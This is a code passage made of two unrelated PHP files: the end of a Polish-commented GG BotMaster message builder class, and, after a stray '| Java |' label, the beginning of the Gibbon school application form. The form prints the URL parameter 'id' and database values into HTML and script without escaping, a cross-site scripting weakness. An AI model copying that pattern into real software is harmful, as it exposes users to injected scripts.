$this->addText($s, $flags, $c[0], $c[1], $c[2]);
}
$start=$out[0][1]+strlen($out[0][0]);
if ($out[1][0]=='') {
switch ($out[2][0]) {
case 'b':
case 'i':
case 'u': {
array_push($heap, array($out[2][0]));
break;
}
case 'color': {
$c=hexdec(substr($out[3][0], -6, 6));
$c=array(
($c >> 16) & 0xFF,
($c >> 8) & 0xFF,
($c >> 0) & 0xFF
);
array_push($heap, array('color', $c));
break;
}
}
$tagsLength+=strlen($out[0][0]);
} else {
array_pop($heap);
$tagsLength+=strlen($out[0][0]);
}
}
$s=substr($bbcode, $start);
if (strlen($s))
$this->addText($s);
return $this;
}
/**
* Dodaje tekst do wiadomości
*
* @param string $text tekst do wysłania w HTMLu
*
* @return MessageBuilder this
*/
public function addRawHtml($html)
{
$this->html.=$html;
return $this;
}
/**
* Ustawia tekst do wiadomości
*
* @param string $html tekst do wysłania w HTMLu
*
* @return MessageBuilder this
*/
public function setRawHtml($html)
{
$this->html=$html;
return $this;
}
/**
* Ustawia tekst wiadomości alternatywnej
*
* @param string $text tekst do wysłania dla GG7.7 i starszych
*
* @return MessageBuilder this
*/
public function setAlternativeText($message)
{
$this->format=NULL;
$this->text=$message;
return $this;
}
/**
* Dodaje obraz do wiadomości
*
* @param string $fileName nazwa pliku w formacie JPEG
*
* @return MessageBuilder this
*/
public function addImage($fileName, $isFile=IMG_FILE)
{
if ($isFile==IMG_FILE)
$fileName=file_get_contents($fileName);
$crc=crc32($fileName);
$hash=sprintf('%08x%08x', $crc, strlen($fileName));
if (empty(PushConnection::$lastAuthorization))
throw new Exception('Użyj klasy PushConnection');
$P=new PushConnection();
if (!$P->existsImage($hash))
if (!$P->putImage($fileName))
throw new Exception('Nie udało się wysłać obrazka');
$this->format.=pack('vCCCVV', strlen($this->text), 0x80, 0x09, 0x01, strlen($fileName), $crc);
$this->addRawHtml('<img name="'.$hash.'">');
return $this;
}
/**
* Ustawia odbiorców wiadomości
*
* @param int|string|array recipientNumbers numer GG adresata (lub tablica)
*
* @return MessageBuilder this
*/
public function setRecipients($recipientNumbers)
{
$this->recipientNumbers=(array) $recipientNumbers;
return $this;
}
/**
* Zawsze dostarcza wiadomość
*
* @return MessageBuilder this
*/
public function setSendToOffline($sendToOffline)
{
$this->sendToOffline=$sendToOffline;
return $this;
}
/**
* Tworzy sformatowaną wiadomość do wysłania do BotMastera
*/
public function getProtocolMessage()
{
if (preg_match('/^<span[^>]*>.+<\/span>$/s', $this->html, $o)) {
if ($o[0]!=$this->html)
$this->html='<span style="color:#000000; font-family:\'MS Shell Dlg 2\'; font-size:9pt; ">'.$this->html.'</span>';
} else
$this->html='<span style="color:#000000; font-family:\'MS Shell Dlg 2\'; font-size:9pt; ">'.$this->html.'</span>';
$s=pack('VVVV', strlen($this->html)+1, strlen($this->text)+1, 0, ((empty($this->format)) ? 0 : strlen($this->format)+3)).$this->html."\0".$this->text."\0".((empty($this->format)) ? '' : pack('Cv', 0x02, strlen($this->format)).$this->format);
return $s;
}
/**
* Zwraca na wyjście sformatowaną wiadomość do wysłania do BotMastera
*/
public function reply()
{
if (sizeof($this->recipientNumbers))
header('To: '.join(',', $this->recipientNumbers));
if (!$this->sendToOffline)
header('Send-to-offline: 0');
header('BotApi-Version: '.BOTAPI_VERSION);
echo $this->getProtocolMessage();
}
}
| Java |
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
@session_start() ;
$proceed=FALSE ;
$public=FALSE ;
if (isset($_SESSION[$guid]["username"])==FALSE) {
$public=TRUE ;
//Get public access
$publicApplications=getSettingByScope($connection2, 'Application Form', 'publicApplications') ;
if ($publicApplications=="Y") {
$proceed=TRUE ;
}
}
else {
if (isActionAccessible($guid, $connection2, "/modules/Application Form/applicationForm.php")!=FALSE) {
$proceed=TRUE ;
}
}
//Set gibbonPersonID of the person completing the application
$gibbonPersonID=NULL ;
if (isset($_SESSION[$guid]["gibbonPersonID"])) {
$gibbonPersonID=$_SESSION[$guid]["gibbonPersonID"] ;
}
if ($proceed==FALSE) {
//Acess denied
print "<div class='error'>" ;
print _("You do not have access to this action.") ;
print "</div>" ;
}
else {
//Proceed!
print "<div class='trail'>" ;
if (isset($_SESSION[$guid]["username"])) {
print "<div class='trailHead'><a href='" . $_SESSION[$guid]["absoluteURL"] . "'>" . _("Home") . "</a> > <a href='" . $_SESSION[$guid]["absoluteURL"] . "/index.php?q=/modules/" . getModuleName($_GET["q"]) . "/" . getModuleEntry($_GET["q"], $connection2, $guid) . "'>" . _(getModuleName($_GET["q"])) . "</a> > </div><div class='trailEnd'>" . $_SESSION[$guid]["organisationNameShort"] . " " . _('Application Form') . "</div>" ;
}
else {
print "<div class='trailHead'><a href='" . $_SESSION[$guid]["absoluteURL"] . "'>" . _("Home") . "</a> > </div><div class='trailEnd'>" . $_SESSION[$guid]["organisationNameShort"] . " " . _('Application Form') . "</div>" ;
}
print "</div>" ;
//Get intro
$intro=getSettingByScope($connection2, 'Application Form', 'introduction') ;
if ($intro!="") {
print "<p>" ;
print $intro ;
print "</p>" ;
}
if (isset($_SESSION[$guid]["username"])==false) {
if ($intro!="") {
print "<br/><br/>" ;
}
print "<p style='font-weight: bold; text-decoration: none; color: #c00'><i><u>" . sprintf(_('If you have an %1$s %2$s account, please log in now to prevent creation of duplicate data about you! Once logged in, you can find the form under People > Data in the main menu.'), $_SESSION[$guid]["organisationNameShort"], $_SESSION[$guid]["systemName"]) . "</u></i> " . sprintf(_('If you do not have an %1$s %2$s account, please use the form below.'), $_SESSION[$guid]["organisationNameShort"], $_SESSION[$guid]["systemName"]) . "</p>" ;
}
if (isset($_GET["addReturn"])) { $addReturn=$_GET["addReturn"] ; } else { $addReturn="" ; }
$addReturnMessage="" ;
$class="error" ;
if (!($addReturn=="")) {
if ($addReturn=="fail0") {
$addReturnMessage=_("Your request failed because you do not have access to this action.") ;
}
else if ($addReturn=="fail2") {
$addReturnMessage=_("Your request failed due to a database error.") ;
}
else if ($addReturn=="fail3") {
$addReturnMessage=_("Your request failed because your inputs were invalid.") ;
}
else if ($addReturn=="fail4") {
$addReturnMessage=_("Your request failed because your inputs were invalid.") ;
}
else if ($addReturn=="success0" OR $addReturn=="success1" OR $addReturn=="success2" OR $addReturn=="success4") {
if ($addReturn=="success0") {
$addReturnMessage=_("Your application was successfully submitted. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success1") {
$addReturnMessage=_("Your application was successfully submitted and payment has been made to your credit card. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success2") {
$addReturnMessage=_("Your application was successfully submitted, but payment could not be made to your credit card. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success3") {
$addReturnMessage=_("Your application was successfully submitted, payment has been made to your credit card, but there has been an error recording your payment. Please print this screen and contact the school ASAP. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success4") {
$addReturnMessage=_("Your application was successfully submitted, but payment could not be made as the payment gateway does not support the system's currency. Our admissions team will review your application and be in touch in due course.") ;
}
if (isset($_GET["id"])) {
if ($_GET["id"]!="") {
$addReturnMessage=$addReturnMessage . "<br/><br/>" . _('If you need to contact the school in reference to this application, please quote the following number:') . " <b><u>" . $_GET["id"] . "</b></u>." ;
}
}
if ($_SESSION[$guid]["organisationAdmissionsName"]!="" AND $_SESSION[$guid]["organisationAdmissionsEmail"]!="") {
$addReturnMessage=$addReturnMessage . "<br/><br/>Please contact <a href='mailto:" . $_SESSION[$guid]["organisationAdmissionsEmail"] . "'>" . $_SESSION[$guid]["organisationAdmissionsName"] . "</a> if you have any questions, comments or complaints." ;
}
$class="success" ;
}
print "<div class='$class'>" ;
print $addReturnMessage;
print "</div>" ;
}
$currency=getSettingByScope($connection2, "System", "currency") ;
$applicationFee=getSettingByScope($connection2, "Application Form", "applicationFee") ;
$enablePayments=getSettingByScope($connection2, "System", "enablePayments") ;
$paypalAPIUsername=getSettingByScope($connection2, "System", "paypalAPIUsername") ;
$paypalAPIPassword=getSettingByScope($connection2, "System", "paypalAPIPassword") ;
$paypalAPISignature=getSettingByScope($connection2, "System", "paypalAPISignature") ;
if ($applicationFee>0 AND is_numeric($applicationFee)) {
print "<div class='warning'>" ;
print _("Please note that there is an application fee of:") . " <b><u>" . $currency . $applicationFee . "</u></b>." ;
if ($enablePayments=="Y" AND $paypalAPIUsername!="" AND $paypalAPIPassword!="" AND $paypalAPISignature!="") {
print " " . _('Payment must be made by credit card, using our secure PayPal payment gateway. When you press Submit at the end of this form, you will be directed to PayPal in order to make payment. During this process we do not see or store your credit card details.') ;
}
print "</div>" ;
}
?>
<form method="post" action="<?php print $_SESSION[$guid]["absoluteURL"] . "/modules/" . $_SESSION[$guid]["module"] . "/applicationFormProcess.php" ?>" enctype="multipart/form-data">
<table class='smallIntBorder' cellspacing='0' style="width: 100%">
<tr class='break'>
<td colspan=2>
<h3><?php print _('Student') ?></h3>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Personal Data') ?></h4>
</td>
</tr>
<tr>
<td style='width: 275px'>
<b><?php print _('Surname') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Family name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="surname" id="surname" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var surname=new LiveValidation('surname');
surname.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('First Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('First name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="firstName" id="firstName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var firstName=new LiveValidation('firstName');
firstName.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Preferred Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Most common name, alias, nickname, etc.') ?></i></span>
</td>
<td class="right">
<input name="preferredName" id="preferredName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var preferredName=new LiveValidation('preferredName');
preferredName.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Official Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Full name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input title='Please enter full name as shown in ID documents' name="officialName" id="officialName" maxlength=150 value="" type="text" style="width: 300px">
<script type="text/javascript">
var officialName=new LiveValidation('officialName');
officialName.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Name In Characters') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Chinese or other character-based name.') ?></i></span>
</td>
<td class="right">
<input name="nameInCharacters" id="nameInCharacters" maxlength=20 value="" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Gender') ?> *</b><br/>
</td>
<td class="right">
<select name="gender" id="gender" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="F"><?php print _('Female') ?></option>
<option value="M"><?php print _('Male') ?></option>
</select>
<script type="text/javascript">
var gender=new LiveValidation('gender');
gender.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Date of Birth') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Format:') . " " . $_SESSION[$guid]["i18n"]["dateFormat"] ?></i></span>
</td>
<td class="right">
<input name="dob" id="dob" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var dob=new LiveValidation('dob');
dob.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
dob.add(Validate.Presence);
</script>
<script type="text/javascript">
$(function() {
$( "#dob" ).datepicker();
});
</script>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Background') ?></h4>
</td>
</tr>
<tr>
<td>
<b><?php print _('Home Language') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('The primary language used in the student\'s home.') ?></i></span>
</td>
<td class="right">
<input name="languageHome" id="languageHome" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageHome FROM gibbonApplicationForm ORDER BY languageHome" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageHome"] . "\", " ;
}
?>
];
$( "#languageHome" ).autocomplete({source: availableTags});
});
</script>
<script type="text/javascript">
var languageHome=new LiveValidation('languageHome');
languageHome.add(Validate.Presence);
</script>
</tr>
<tr>
<td>
<b><?php print _('First Language') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Student\'s native/first/mother language.') ?></i></span>
</td>
<td class="right">
<input name="languageFirst" id="languageFirst" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageFirst FROM gibbonApplicationForm ORDER BY languageFirst" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageFirst"] . "\", " ;
}
?>
];
$( "#languageFirst" ).autocomplete({source: availableTags});
});
</script>
<script type="text/javascript">
var languageFirst=new LiveValidation('languageFirst');
languageFirst.add(Validate.Presence);
</script>
</tr>
<tr>
<td>
<b><?php print _('Second Language') ?></b><br/>
</td>
<td class="right">
<input name="languageSecond" id="languageSecond" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageSecond FROM gibbonApplicationForm ORDER BY languageSecond" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageSecond"] . "\", " ;
}
?>
];
$( "#languageSecond" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr>
<td>
<b><?php print _('Third Language') ?></b><br/>
</td>
<td class="right">
<input name="languageThird" id="languageThird" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageThird FROM gibbonApplicationForm ORDER BY languageThird" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageThird"] . "\", " ;
}
?>
];
$( "#languageThird" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr>
<td>
<b><?php print _('Country of Birth') ?></b><br/>
</td>
<td class="right">
<select name="countryOfBirth" id="countryOfBirth" style="width: 302px">
<?php
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
print "<option value=''></option>" ;
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
</td>
</tr>
<tr>
<td>
<b><?php print _('Citizenship') ?></b><br/>
</td>
<td class="right">
<select name="citizenship1" id="citizenship1" style="width: 302px">
<?php
print "<option value=''></option>" ;
$nationalityList=getSettingByScope($connection2, "User Admin", "nationality") ;
if ($nationalityList=="") {
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
}
else {
$nationalities=explode(",", $nationalityList) ;
foreach ($nationalities as $nationality) {
print "<option value='" . trim($nationality) . "'>" . trim($nationality) . "</option>" ;
}
}
?>
</select>
</td>
</tr>
<tr>
<td>
<b><?php print _('Citizenship Passport Number') ?></b><br/>
</td>
<td class="right">
<input name="citizenship1Passport" id="citizenship1Passport" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('National ID Card Number') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('ID Card Number') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<input name="nationalIDCardNumber" id="nationalIDCardNumber" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Residency/Visa Type') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Residency/Visa Type') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<?php
$residencyStatusList=getSettingByScope($connection2, "User Admin", "residencyStatus") ;
if ($residencyStatusList=="") {
print "<input name='residencyStatus' id='residencyStatus' maxlength=30 value='' type='text' style='width: 300px'>" ;
}
else {
print "<select name='residencyStatus' id='residencyStatus' style='width: 302px'>" ;
print "<option value=''></option>" ;
$residencyStatuses=explode(",", $residencyStatusList) ;
foreach ($residencyStatuses as $residencyStatus) {
$selected="" ;
if (trim($residencyStatus)==$row["residencyStatus"]) {
$selected="selected" ;
}
print "<option $selected value='" . trim($residencyStatus) . "'>" . trim($residencyStatus) . "</option>" ;
}
print "</select>" ;
}
?>
</td>
</tr>
<tr>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Visa Expiry Date') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Visa Expiry Date') . "</b><br/>" ;
}
print "<span style='font-size: 90%'><i>Format: " ; if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; } print ". " . _('If relevant.') . "</i></span>" ;
?>
</td>
<td class="right">
<input name="visaExpiryDate" id="visaExpiryDate" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var visaExpiryDate=new LiveValidation('visaExpiryDate');
visaExpiryDate.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
</script>
<script type="text/javascript">
$(function() {
$( "#visaExpiryDate" ).datepicker();
});
</script>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Contact') ?></h4>
</td>
</tr>
<tr>
<td>
<b><?php print _('Email') ?></b><br/>
</td>
<td class="right">
<input name="email" id="email" maxlength=50 value="" type="text" style="width: 300px">
<script type="text/javascript">
var email=new LiveValidation('email');
email.add(Validate.Email);
</script>
</td>
</tr>
<?php
for ($i=1; $i<3; $i++) {
?>
<tr>
<td>
<b><?php print _('Phone') ?> <?php print $i ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Type, country code, number.') ?></i></span>
</td>
<td class="right">
<input name="phone<?php print $i ?>" id="phone<?php print $i ?>" maxlength=20 value="" type="text" style="width: 160px">
<select name="phone<?php print $i ?>CountryCode" id="phone<?php print $i ?>CountryCode" style="width: 60px">
<?php
print "<option value=''></option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["iddCountryCode"] . "'>" . htmlPrep($rowSelect["iddCountryCode"]) . " - " . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
<select style="width: 70px" name="phone<?php print $i ?>Type">
<option value=""></option>
<option value="Mobile"><?php print _('Mobile') ?></option>
<option value="Home"><?php print _('Home') ?></option>
<option value="Work"><?php print _('Work') ?></option>
<option value="Fax"><?php print _('Fax') ?></option>
<option value="Pager"><?php print _('Pager') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
</td>
</tr>
<?php
}
?>
<tr>
<td colspan=2>
<h4><?php print _('Student Medical & Development') ?></h4>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Medical Information') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Please indicate any medical conditions.') ?></i></span><br/>
<textarea name="medicalInformation" id="medicalInformation" rows=5 style="width:738px; margin: 5px 0px 0px 0px"></textarea>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Development Information') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Provide any comments or information concerning your child\'s development that may be relevant to your child\’s performance in the classroom or elsewhere? (Incorrect or withheld information may affect continued enrolment).') ?></i></span><br/>
<textarea name="developmentInformation" id="developmentInformation" rows=5 style="width:738px; margin: 5px 0px 0px 0px"></textarea>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Education') ?></h4>
</td>
</tr>
<tr>
<td>
<b><?php print _('Anticipated Year of Entry') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('What school year will the student join in?') ?></i></span>
</td>
<td class="right">
<select name="gibbonSchoolYearIDEntry" id="gibbonSchoolYearIDEntry" style="width: 302px">
<?php
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonSchoolYear WHERE (status='Current' OR status='Upcoming') ORDER BY sequenceNumber" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["gibbonSchoolYearID"] . "'>" . htmlPrep($rowSelect["name"]) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var gibbonSchoolYearIDEntry=new LiveValidation('gibbonSchoolYearIDEntry');
gibbonSchoolYearIDEntry.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Intended Start Date') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Student\'s intended first day at school.') ?><br/><?php print _('Format:') ?> <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?></i></span>
</td>
<td class="right">
<input name="dateStart" id="dateStart" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var dateStart=new LiveValidation('dateStart');
dateStart.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
dateStart.add(Validate.Presence);
</script>
<script type="text/javascript">
$(function() {
$( "#dateStart" ).datepicker();
});
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Year Group at Entry') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Which year level will student enter.') ?></i></span>
</td>
<td class="right">
<select name="gibbonYearGroupIDEntry" id="gibbonYearGroupIDEntry" style="width: 302px">
<?php
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonYearGroup ORDER BY sequenceNumber" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["gibbonYearGroupID"] . "'>" . htmlPrep(_($rowSelect["name"])) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var gibbonYearGroupIDEntry=new LiveValidation('gibbonYearGroupIDEntry');
gibbonYearGroupIDEntry.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<?php
$dayTypeOptions=getSettingByScope($connection2, 'User Admin', 'dayTypeOptions') ;
if ($dayTypeOptions!="") {
?>
<tr>
<td>
<b><?php print _('Day Type') ?></b><br/>
<span style="font-size: 90%"><i><?php print getSettingByScope($connection2, 'User Admin', 'dayTypeText') ; ?></i></span>
</td>
<td class="right">
<select name="dayType" id="dayType" style="width: 302px">
<?php
$dayTypes=explode(",", $dayTypeOptions) ;
foreach ($dayTypes as $dayType) {
print "<option value='" . trim($dayType) . "'>" . trim($dayType) . "</option>" ;
}
?>
</select>
</td>
</tr>
<?php
}
?>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Previous Schools') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Please give information on the last two schools attended by the applicant.') ?></i></span>
</td>
</tr>
<tr>
<td colspan=2>
<?php
print "<table cellspacing='0' style='width: 100%'>" ;
print "<tr class='head'>" ;
print "<th>" ;
print _("School Name") ;
print "</th>" ;
print "<th>" ;
print _("Address") ;
print "</th>" ;
print "<th>" ;
print sprintf(_('Grades%1$sAttended'), "<br/>") ;
print "</th>" ;
print "<th>" ;
print sprintf(_('Language of%1$sInstruction'), "<br/>") ;
print "</th>" ;
print "<th>" ;
print _("Joining Date") . "<br/><span style='font-size: 80%'>" ; if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; } print "</span>" ;
print "</th>" ;
print "</tr>" ;
for ($i=1; $i<3; $i++) {
if ((($i%2)-1)==0) {
$rowNum="even" ;
}
else {
$rowNum="odd" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<input name='schoolName$i' id='schoolName$i' maxlength=50 value='' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
print "<input name='schoolAddress$i' id='schoolAddress$i' maxlength=255 value='' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
print "<input name='schoolGrades$i' id='schoolGrades$i' maxlength=20 value='' type='text' style='width:70px; float: left'>" ;
print "</td>" ;
print "<td>" ;
print "<input name='schoolLanguage$i' id='schoolLanguage$i' maxlength=50 value='' type='text' style='width:100px; float: left'>" ;
?>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT schoolLanguage" . $i . " FROM gibbonApplicationForm ORDER BY schoolLanguage" . $i ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["schoolLanguage" . $i] . "\", " ;
}
?>
];
$( "#schoolLanguage<?php print $i ?>" ).autocomplete({source: availableTags});
});
</script>
<?php
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "schoolDate$i" ?>" id="<?php print "schoolDate$i" ?>" maxlength=10 value="" type="text" style="width:90px; float: left">
<script type="text/javascript">
$(function() {
$( "#<?php print "schoolDate$i" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "</tr>" ;
}
print "</table>" ;
?>
</td>
</tr>
<?php
//FAMILY
try {
$dataSelect=array("gibbonPersonID"=>$gibbonPersonID);
$sqlSelect="SELECT * FROM gibbonFamily JOIN gibbonFamilyAdult ON (gibbonFamily.gibbonFamilyID=gibbonFamilyAdult.gibbonFamilyID) WHERE gibbonFamilyAdult.gibbonPersonID=:gibbonPersonID ORDER BY name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
if ($public==TRUE OR $resultSelect->rowCount()<1) {
?>
<input type="hidden" name="gibbonFamily" value="FALSE">
<tr class='break'>
<td colspan=2>
<h3>
<?php print _('Home Address') ?>
</h3>
<p>
<?php print _('This address will be used for all members of the family. If an individual within the family needs a different address, this can be set through Data Updater after admission.') ?>
</p>
</td>
</tr>
<tr>
<td>
